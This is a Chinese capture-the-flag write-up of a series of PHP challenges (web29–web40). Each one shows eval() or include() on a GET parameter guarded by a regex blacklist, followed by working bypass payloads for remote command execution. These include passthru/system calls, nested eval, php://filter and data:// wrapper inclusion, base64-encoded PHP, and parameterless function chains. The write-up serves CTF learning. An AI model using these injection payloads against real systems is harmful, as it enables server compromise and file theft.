基本参考:https://blog.csdn.net/KeepPromise/article/details/128044517
web29 10
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
代码审计,禁止出现flag,system('ls');出现了flag.php,后面用cat命令发现怎么都绕不过,直接就
?c=system('nl *');查看源码
web30 10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
将system替换成passthru()即可,然后查看源码,payload
?c=passthru('nl *');
方法二
?c=echo `nl fl''ag.p''hp`;
web31 10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
进行嵌套绕过,payload1
?c=eval($_GET[1]);&1=system('tac flag.php');
- 注意到过滤机制是针对c来的($c),直接通过 eval + 参数拆分实现间接执行嵌套绕过
- c=eval($_GET[1]);是告诉服务器执行另一个 GET 参数1中的内容
- 既然只对c的内容进行过滤,那么1的内容就不会被过滤了(也可以使用cat,只不过被注释掉了,去源码查看即可)
payload2
GET:?c=eval($_POST[1]);
POST:1=passthru("tac%09fla*");
payload3(利用无参函数)
show_source(next(array_reverse(scandir(pos(localeconv())))));
payload4
?c=echo%09`tac%09fl*`;
cat 被过滤的解决方案:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
web32 10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
嵌套绕过,
?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
或者
?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web33 10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
在上一题的基础上删掉双引号
payload1
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
或
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
payload2(利用data协议)
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
web34 10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
还是嵌套绕过(上一题的payload可用)
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
web35 10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
上一题的payload可用,include拼接,伪协议读取
web36 10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload同上,把数字换成字母就好了
?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
web37 10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
注意这个include函数,可以包含文件,也能处理为伪协议,payload
?c=data://text/plain,<?php system('cat fl*')?>
或者
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web38 10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
禁用了PHP,不过可以进行base64加码,继续使用data协议
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
还可以用php短标签进行绕过
?c=data://text/plain,<?=system('tac fla?.???')?>
web39 10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
条件增加,同时包含了“.php“,
在语句中用通配符代替,payload1
?c=data://text/plain,<?=system('tac f*')?>
payload2,提前闭合include语句
?c=data://text/plain,<?php system('cat fl*')?>)?><?php
web40 10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
代码审计,会发现中间过滤的括号是中文版的,所以括号还是可以用,直接无参rce
show_source(next(array_reverse(scandir(pos(localeconv())))));
另一种方法PHP 变量覆盖攻击(动态变量注入攻击)
?c=eval(array_pop(next(get_defined_vars())));
POST:
1=system("cat flag.php");
当用户请求包含 GET 和 POST 参数时,PHP 会自动创建以下预定义变量:
$_GET = ['c' => 'eval(array_pop(next(get_defined_vars())));']; $_POST = ['1' => 'system("cat flag.php");'];
get_defined_vars()会返回当前所有变量的数组,包括:
[ '_GET' => [...], '_POST' => [...], 'c' => 'eval(array_pop(next(get_defined_vars())));', // 其他变量... ] 返回包含所有变量的数组,简化后为 [ 0 => $_GET, // 第一个元素:$_GET数组 1 => $_POST, // 第二个元素:$_POST数组 2 => $c, // 第三个元素:$c变量 // ... ]next(get_defined_vars()),next()将数组指针向前移动一位,并返回当前元素的值,此时指针从$_GET移到$_POST,返回值为:
$_POST = ['1' => 'system("cat flag.php");'];array_pop()从数组末尾弹出一个元素,对$_POST数组执行array_pop(),返回
'system("cat flag.php");'
